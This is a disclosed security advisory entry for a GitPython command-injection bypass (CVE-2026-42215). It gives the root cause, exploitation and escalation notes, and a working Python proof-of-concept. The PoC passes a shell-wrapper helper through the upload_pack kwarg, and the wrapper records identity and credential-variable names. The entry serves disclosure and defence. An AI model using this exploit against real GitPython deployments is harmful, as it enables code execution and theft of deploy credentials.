# GitPython has Command Injection via Git options bypass

GitPython's unsafe-option guard checks raw kwarg names before dashification, so upload_pack/receive_pack kwargs bypass it and execute arbitrary helper commands.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: WesR
- Disclosed: 2026-04-25
- CVE: CVE-2026-42215
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rpm5-65cw-6hj4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-rpm5-65cw-6hj4
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython library API (Repo.clone_from, Remote.fetch/pull/push)
**Root cause:** check_unsafe_options() validates raw kwarg names before transform_kwarg() dashifies underscores, so upload_pack becomes --upload-pack after the check has already passed.
**Steps:**
1. Call `remote.fetch(**{"upload-pack": wrapper})` — blocked with UnsafeOptionError (control)
2. Call `remote.fetch(upload_pack=wrapper)` — allowed, reaches helper execution
3. Same bypass applies to `Repo.clone_from(origin, out, upload_pack=helper)`, `Remote.pull(upload_pack=helper)`, `Remote.push(receive_pack=helper)`
4. Helper runs as the GitPython host process; exfiltrate env/credentials from the proof file
**How found:** Noticed the unsafe-option validator runs on raw kwarg keys while transform_kwarg later converts underscores to dashes, and that existing tests only cover the hyphenated form.
**Exploitation:** Attacker controls a kwarg value that becomes upload_pack or receive_pack in kwargs passed to clone_from/fetch/pull/push; GitPython dashifies it to --upload-pack/--receive-pack and executes the supplied helper as the application account, yielding code execution and access to SSH keys, tokens, and cloud credentials in the process environment.
**Escalation:** From code exec in CI/CD workers or repo-sync services: theft of deploy credentials, modification of build artifacts, lateral movement.
**Insight:** When a library validates option names before a normalization step (underscore-to-dash, case folding, alias expansion), test the post-normalization spelling — the guard sees the pre-normalized name and misses the dangerous flag.

## Proof of concept (copied exactly from the original report)

**PoC script exploiting upload_pack kwarg bypass**

```
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

# the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
```

